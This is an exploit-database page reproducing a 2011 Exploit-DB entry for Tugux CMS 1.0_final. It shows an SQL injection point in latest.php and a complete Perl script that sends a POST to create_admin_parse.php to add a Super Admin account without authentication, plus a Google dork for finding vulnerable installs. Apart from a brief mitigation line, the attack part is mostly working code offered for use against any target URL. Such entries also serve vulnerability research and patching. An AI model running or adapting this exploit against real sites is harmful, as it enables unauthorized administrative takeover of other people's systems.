header-logo
Suggest Exploit
vendor:
Tugux CMS 1.0_final
by:
Aodrulez (Atul Alex Cherian)
7.5
CVSS
HIGH
SQLi, create_admin_parse.php
89, 522
CWE
Product Name: Tugux CMS 1.0_final
Affected Version From: 1.0_final
Affected Version To: 1.0_final
Patch Exists: NO
Related CWE: N/A
CPE: a:tuguxcms:tugux_cms:1.0_final
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Ubuntu 10.04
2011

Tugux CMS 1.0_final Multiple Vulnerabilities

Tugux CMS 1.0_final is vulnerable to multiple vulnerabilities, including SQL injection and an exploit in create_admin_parse.php which can be used to add Super Admin Accounts without any authentication. The exploit is written in Perl code.

Mitigation:

Ensure that all user input is properly sanitized and validated before being used in SQL queries. Ensure that authentication is required for all administrative functions.
Source

Exploit-DB raw data:

+----------------------------------------------+
| Tugux CMS 1.0_final Multiple Vulnerabilities |
+----------------------------------------------+
  
Vulnerable Web-App : Tugux CMS 1.0_final
Vulnerability      : Multiple Vulnerabilities.
Author             : Aodrulez. (Atul Alex Cherian)
Email              : f3arm3d3ar@gmail.com
Google-Dork        : "Copyright 2010-2011 Tugux CMS"
Tested on          : Ubuntu 10.04
Web-App            : http://sourceforge.net/projects/tuguxcms/
 
 
+---------+
| Details |
+---------+

1] SQLi 
Exploit : http://localhost/latest.php?nid=9'[sqli]

2] "create_admin_parse.php"
Vulnerability : Can be used to add Super Admin Accounts without
                any authentication. :)



+--------------------+
| Exploit (Perl Code)|
+--------------------+
(This Exploit will Add 
a new Super Admin Account)

use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use LWP 5.64;
my $browser = LWP::UserAgent->new();
my $url=$ARGV[0];
print "+----------------------------------------+\n";
print "| Tugux CMS 1.0 Multiple Vulnerabilities |\n";
print "+----------------------------------------+\n\n";
print "Author             : Aodrulez.\n";
print "Email              : f3arm3d3ar\@gmail.com\n";
print "Google-Dork        : \"Copyright 2010-2011 Tugux CMS\"\n";
if(!$url)
{die ("\nPlease enter the target url. Ex. perl $0 http://www.test.com");}
my $exploit='/administrator/create_admin_parse.php';
print "\n[+] Creating a new Super Admin \\m/";
$response = HTTP::Request->new(POST => $url.$exploit) or die("\n Connection Error!");
$response->content_type("application/x-www-form-urlencoded");
$response->content("username=Aodrulez&pass1=aod&type=a");
my $data=$browser->request($response)->as_string;
if($data!~m/HTTP\/1.1 200 OK/){ die ("\n$url Not Vulnerable!\n");}
print "\n[!] Admin Username : Aodrulez\n[!] Admin Password : aod\n[!] Type : Super Admin.\n";



+-------------------+
| Greetz Fly Out To |
+-------------------+
   
  
1] Amforked()          : My Mentor.
2] The Blue Genius     : My Boss.
3] str0ke (milw0rm)
4] www.orchidseven.com
5] www.malcon.org
6] www.isac.org.in
 
 
+-------+
| Quote |
+-------+
 
"FREEDOM! FOREVER!" - Aodrulez